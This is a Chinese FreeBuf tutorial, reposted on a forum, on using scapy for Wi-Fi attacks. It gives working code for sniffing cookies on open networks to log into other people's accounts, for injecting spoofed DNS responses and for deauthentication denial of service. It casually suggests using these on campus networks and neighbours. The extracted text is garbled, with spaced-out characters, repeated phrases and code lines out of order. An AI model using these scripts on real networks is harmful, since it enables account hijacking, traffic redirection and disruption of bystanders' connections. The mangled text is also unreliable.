搜索

[11079] 2017-03-01_scapy在wlan中的应用

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2017-03-01_scapy在wlan中的应用 s c a p y 在 w l a n 中 的 应 用 a d d a d d   F r e e B u f   2 0 1 7 - 0 3 - 0 1 * 原 创 作 者 ： a d d a d d ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 S c a p y 又 是 又 是 s c a p y ， 这 是 ， 这 是 p y t h o n 的 一 个 网 络 编 程 方 面 的 库 ， 它 在 的 一 个 网 络 编 程 方 面 的 库 ， 它 在 w l a n 中 也 有 很 强 大 的 应 用 。 一 般 我 们 买 块 网 卡 ， 然 后 中 也 有 很 强 大 的 应 用 。 一 般 我 们 买 块 网 卡 ， 然 后 a i r c r a c k - n g 套 件 套 件 爆 破 一 下 邻 居 的 密 码 ， 其 实 我 们 可 以 用 爆 破 一 下 邻 居 的 密 码 ， 其 实 我 们 可 以 用 s c a p y 写 一 些 有 意 思 的 东 西 。 写 一 些 有 意 思 的 东 西 。 I E E E 8 0 2 . 1 1 简 述 简 述 这 是 W L A N 的 协 议 族 ， 有 8 0 2 1 1 b / g / n 等 等 ， 协 议 中 规 定 了 不 同 类 型 的 帧 ( 也 就 是 包 的 类 型 ) ， 分 为 数 据 帧 、 控 制 帧 、 管 理 帧 。 控 制 帧 是 用 来 协 调 信 道 等 提 升 数 据 通 信 可 靠 性 的 。 管 理 帧 用 来 监 督 、 管 理 加 入 和 退 出 无 线 网 络 的 包 。 数 据 帧 就 是 承 载 上 层 数 据 的 包 。 关 系 关 系 这 些 帧 和 s c a p y 中 的 数 据 包 类 的 对 应 关 系 为 ： D o t 1 1                                       三 种 帧 通 用 的 部 分 D o t 1 1 B e a c o n                 B e a c o n 帧 ， a p 用 它 来 宣 誓 自 己 的 存 在 D o t 1 1 E l t                               与 D o t 1 1 B e a c o n 一 起 出 现 ， 承 载 b e a c o n 帧 中 的 数 据 D o t 1 1 A s s o R e q           A s s o c i a t i o n   R e q u e s t       D o t 1 1 A s s o R e s p       A s s o c i a t i o n   R e s p o n s e D o t 1 1 P r o b e R e q       P r o b e   r e q u e s t D o t 1 1 P r o b e R e s p     P r o b e   r e s p o n s e D o t 1 1 R e a s s o R e q     R e a s s o c i a t i o n R e q u e s t D o t 1 1 R e a s s o R e s p     R e a s s o c i a t i o n R e s p o n s e       以 上 六 个 都 是 用 来 管 理 s t a t i o n 和 a p 之 间 关 系 的 管 理 帧 D o t 1 1 A u t h                         A u t h e n t i c a t i o n   申 请 认 证 身 份 D o t 1 1 D e a u t h                 D e a u t h e n t i c a t i o n     解 除 认 证 ， 可 以 用 来 d o s 攻 击 D o t 1 1 W E P                       无 线 链 路 承 载 的 上 层 数 据 被 加 密 后 ， 放 在 这 里 常 见 的 样 子 常 见 的 样 子 ( s u m m a r y ) B e a c o n 帧 帧 : R a d i o T a p   /   8 0 2 . 1 1   M a n a g e m e n t   8 L   1 1 : 1 1 : 1 1 : 1 1 : 1 1 : 1 1   >   f f : f f : f f : f f : f f : f f   /   D o t 1 1 B e a c o n   /   S S I D = ’ C M C C - E D U ’   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t   /   D o t 1 1 E l t 加 密 后 的 上 层 数 据 加 密 后 的 上 层 数 据 : R a d i o T a p   /   8 0 2 . 1 1   D a t a   0 L   1 1 : 1 1 : 1 1 : 1 1 : 1 1 : 1 1   >   2 2 : 2 2 : 2 2 : 2 2 : 2 2 : 2 2   /   D o t 1 1 W E P D e a u t h 帧 ， 用 来 把 别 人 打 掉 线 ， 很 好 用 帧 ， 用 来 把 别 人 打 掉 线 ， 很 好 用 :
R a d i o T a p   /   8 0 2 . 1 1   M a n a g e m e n t   1 2 L   1 1 : 1 1 : 1 1 : 1 1 : 1 1 : 1 1   >   2 2 : 2 2 : 2 2 : 2 2 : 2 2 : 2 2   /   D o t 1 1 D e a u t h 未 加 密 的 数 据 帧 ， 开 放 的 未 加 密 的 数 据 帧 ， 开 放 的 w i f i 里 的 明 文 密 码 就 在 你 的 身 边 划 过 ： 里 的 明 文 密 码 就 在 你 的 身 边 划 过 ： R a d i o T a p   /   D o t 1 1   /   D o t 1 1 Q o S   /   L L C   /   S N A P   /   I P   /   T C P   1 0 . 1 8 1 . 5 . 2 3 7 : 5 7 5 5 6   >   1 2 4 . 1 1 6 . 1 8 1 . 8 2 : h t t p   A   /   P a d d i n g 握 手 包 ， 使 用 握 手 包 ， 使 用 E A P O L 协 议 ： 协 议 ： R a d i o T a p   /   D o t 1 1   /   D o t 1 1 Q o S   /   L L C   /   S N A P   /   E A P O L   E A P O L - K e y   /   R a w   /   P a d d i n g 踩 过 的 坑 踩 过 的 坑 系 统 环 境 系 统 环 境 之 前 一 直 喜 欢 用 k a l i ， 在 优 化 代 码 的 过 程 中 发 现 嗅 探 无 线 数 据 包 的 时 候 ， 使 用 f i l t e r 参 数 不 能 成 功 过 滤 到 未 加 密 的 I P 数 据 包 ( f i l t e r = ’ i p ’ ) 。 各 种 排 查 最 后 发 现 是 操 作 系 统 的 问 题 ， 在 新 装 好 的 k a l i 里 也 会 出 问 题 ， 但 在 u b u n t u 里 是 没 有 问 题 的 。 无 线 环 境 无 线 环 境 平 时 玩 无 线 的 时 候 当 然 想 一 上 来 看 看 赤 裸 的 明 文 数 据 包 ， 但 有 时 候 明 明 有 开 放 的 w i f i ， 却 一 点 明 文 数 据 包 都 抓 不 到 。 受 限 于 硬 件 ， 能 处 理 数 据 包 的 速 率 是 有 限 的 ， 如 果 你 周 围 非 常 多 加 密 的 w i f i ， 很 可 能 网 卡 就 被 B e a c o n 帧 和 各 种 控 制 帧 淹 没 了 。 所 以 可 以 找 一 个 开 放 w i f i 多 的 地 方 玩 ， 学 校 图 书 馆 就 不 错 ， 我 们 无 线 校 园 网 都 是 不 加 密 的 嘿 嘿 。 u s b 无 线 网 卡 无 线 网 卡 我 买 的 网 卡 基 本 都 是 8 1 8 7 芯 片 的 ， 淘 宝 京 东 都 有 ， 想 挑 一 挑 可 以 看 看 a i r c r a c k - n g 的 官 网 里 的 推 荐 。 天 线 的 水 很 深 啊 ， 最 好 先 买 块 便 宜 的 玩 玩 再 说 。 先 看 看 别 人 的 先 看 看 别 人 的 c o o k i e s c a p y _ h t t p 这 里 又 要 介 绍 一 个 包 啦 ， s c a p y _ h t t p 是 s c a p y 的 一 个 扩 展 。 平 时 我 们 抓 到 的 包 都 是 I P   /   T C P   /   R a w   这 样 的 层 次 ， 对 h t t p 协 议 的 处 理 很 不 方 便 。 s c a p y _ h t t p 增 加 了 H T T P 、 H T T P R e q u e s t 、 H T T P R e s p o n s e 层 。 p i p 安 装 就 可 以 ， i m p o r t   s c a p y _ h t t p . h t t p   a s   H T T P   在 s c a p y 之 后 导 入 就 好 。 嗅 探 嗅 探 过 滤 得 到 t c p   f l a g s 为   P A 的 数 据 包 ， 可 以 得 到 类 似 这 样 的 结 果     s n i f f ( i f a c e = ' m o n 0 ' ,   p r n = l a m b d a   x : x . s u m m a r y ( ) ,   f i l t e r = ' t c p [ 1 3 : 1 ] = = 2 4 ' )
里 面 满 满 的 都 是 信 息 先 直 观 的 看 一 眼 有 很 多 a p p 后 台 的 请 求 ， 可 以 收 集 大 量 的 数 据 包 ， 然 后 过 滤 自 己 喜 欢 的 h o s t 然 后 把 c o o k i e 转 换 成 c h r o m e 接 收 的 j s o n 形 式 ， 直 接 导 入 就 可 以 登 录 别 人 的 账 号 啦 。 D N S   M O S T 攻 击 攻 击 M O S T M I T M ( m a n - i n - t h e - m i d d l e ) 我 们 经 常 听 到 ， 还 有 另 一 种 m a n - o n - t h e - s i d e 攻 击 方 法 ， 攻 击 者 通 过 监 听 信 道 ， 通 过 时 间 差 注 入 数 据 。 还 可 以 用 来 D D O S ， 嘿 嘿 开 放 开 放 w l a n 中 的 中 的 D N S   M O S T 想 要 进 行 这 种 攻 击 ， 首 先 要 监 听 信 道 ， 上 面 嗅 探 c o o k i e 已 经 说 明 这 可 以 很 容 易 做 到 。 然 后 是 通 过 时 间 差 注 入 ， 也 就 是 我 们 要 构 造 恶 意 的 D N S 响 应 包 ， 并 在 服 务 器 响 应 前 将 其 返 回 给 客 户 端 最 后 可 以 做 到 d n s 劫 持 一 样 的 效 果 。 如 何 构 造 恶 意 如 何 构 造 恶 意 d n s 响 应 响 应 首 先 要 想 的 是 如 何 让 客 户 端 ( 在 没 有 I D S 的 情 况 下 ) 认 为 我 构 造 的 数 据 包 就 是 服 务 器 返 回 给 他 的 。 也 就 是 最 基 本 的 ： 1 .   d n s 协 议 中 的 i d 段 要 从 嗅 探 道 的 d n s 请 求 中 取 出 来 ， 并 放 到 d n s 响 应 中 去 。 2 .   其 次 是 s c a p y 中 d n s 响 应 包 的 构 造 ， 返 回 自 己 服 务 器 的 i p 。 3 .   d n s 请 求 的 I P 层 的 源 端 口 目 的 端 口 、 源 i p 目 的 i p 都 要 交 换 4 .   8 0 2 1 1 协 议 层 中 的 F C f i e l d 改 为 2 ， 意 为 f r o m - D S ， 也 就 是 a p 发 送 给 s t a t i o n 的 数 据 包 。 代 码 代 码 f o r   i   i n   b :         p r i n t   i . H o s t   +   i . P a t h         p r i n t   i . C o o k i e         p r i n t   ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = '
需 要 注 意 需 要 注 意 1 .     监 听 的 网 卡 和 注 入 数 据 包 的 网 卡 可 以 不 是 同 一 张 ， 效 率 会 更 高 2 .   过 滤 时 使 用 f i l t e r 参 数 效 率 会 高 很 多 很 多 ， 因 为 是 在 内 核 层 面 的 过 滤 ， 使 用 B P F 语 法 。 3 .   s e n d p 发 包 函 数 在 链 路 层 上 发 送 数 据 ， 所 以 我 们 可 以 自 定 义 8 0 2 1 1 的 数 据 包 。 4 .   s e n d p 在 发 送 的 时 候 会 自 动 计 算 好 各 协 议 层 的 校 验 和 ， 如 果 你 想 r e s p   =   r e q . c o p y ( ) 这 样 构 造 响 应 包 ， 一 定 要 注 意 把 各 层 的 长 度 和 校 验 和 设 置 为 N o n e ， 让 它 在 发 送 的 时 候 重 新 计 算 ， 不 然 这 个 数 据 包 是 畸 形 的 。 我 也 写 了 用 c o p y 构 造 的 脚 本 ， 但 应 该 贴 出 的 代 码 的 行 数 更 少 一 些 。 5 .   两 块 网 卡 都 要 设 置 在 m o n i t o r 监 听 模 式 ， 具 体 用 a i r m o n - n g 等 开 启 监 听 模 式 就 不 赘 述 了 ， 但 一 定 要 注 意 n e t w o r k - m a n a g e r 、 n e t w o r k i n g 等 服 务 对 网 卡 的 影 响 ， 必 要 时 一 定 要 s t o p 。 最 后 如 何 把 别 人 打 掉 线 最 后 如 何 把 别 人 打 掉 线 D e a u t h e n t i c a t i o n 帧 帧 这 是 a p 和 s t a t i o n 中 用 于 中 断 连 接 用 的 帧 ， 而 且 没 有 对 数 据 包 的 来 源 进 行 验 证 。 所 以 我 们 可 以 用 它 来 强 制 别 人 掉 线 ， 而 且 还 挺 不 好 防 的 嘿 嘿 ( 或 者 把 我 笔 记 本 摔 掉 代 码 代 码 可 以 先 拿 自 己 的 手 机 试 一 下 其 实 a i r e p l a y   - 0   1   - a   a p _ m a c   - c   c l i e n t _ m a c   i f a c e   也 是 使 用 的 d e a u t h   d o s 攻 击 迫 使 c l i e n t 重 连 获 取 握 手 包 f r o m   s c a p y . a l l   i m p o r t   * s n i f _ i f a c e   =   ' m o n 0 ' r e c v _ i f a c e   =   ' m o n 0 ' c h e a t _ i p   =   ' 1 . 1 . 1 . 1 ' d e f   p r n ( p k t ) :         r e s p   =   R a d i o T a p ( ) / D o t 1 1 ( ) / L L C ( ) / S N A P ( ) / I P ( ) / U D P ( s p o r t = 5 3 ) / D N S ( q r = 1 , r a = 1 , a n c o u n t = 1 )         # 取 出 D N S 协 议 层 的 i d         r e s p [ D N S ] . i d   =   p k t [ D N S ] . i d         # 构 造 D N S 数 据 层         r e s p . q d   =   p k t . q d         r e s p [ D N S ] . a n   =   D N S R R ( r r n a m e = p k t . q d . n a m e ,   t y p e = ' A ' ,   r c l a s s = ' I N ' ,                                                   r d a t a = c h e a t _ i p )         # 交 换 各 地 址 及 端 口         r e s p . F C f i e l d   =   2 L         r e s p . a d d r 1 ,   r e s p . a d d r 2 ,   r e s p . a d d r 3   =   p k t . a d d r 2 ,   p k t . a d d r 1 ,   p k t . a d d r 3         r e s p . s r c ,   r e s p . d s t   =   p k t . d s t ,   p k t . s r c         r e s p . d p o r t   =   p k t . s p o r t         s e n d p ( r e s p ,   i f a c e = s e n d _ i f a c e ,   v e r b o s e = F a l s e ,   c o u n t = 1 0 )         p r i n t   ' s e n d   r e s p o n s e   t o   % s   f o r   % s ' % ( r e s p . d s t ,   r e s p . q d . q n a m e ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         s n i f f ( p r n = p r n ,   f i l t e r = ' u d p   d s t   p o r t   5 3 ' ,   i f a c e = s n i f _ i f a c e ) p k t 1   =   D o t 1 1 ( a d d r 1 = c l i e n t ,   a d d r 2 = a p ,   a d d r 3 = a p ) / D o t 1 1 D e a u t h ( ) p k t 2   =   D o t 1 1 ( a d d r 1 = a p ,   a d d r 2 = c l i e n t ,   a d d r 3 = c l i e n t ) / D o t 1 1 D e a u t h ( ) s e n d p ( p k t 1 ) s e n d p ( p k t 2 )
* 原 创 作 者 ： a d d a d d ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理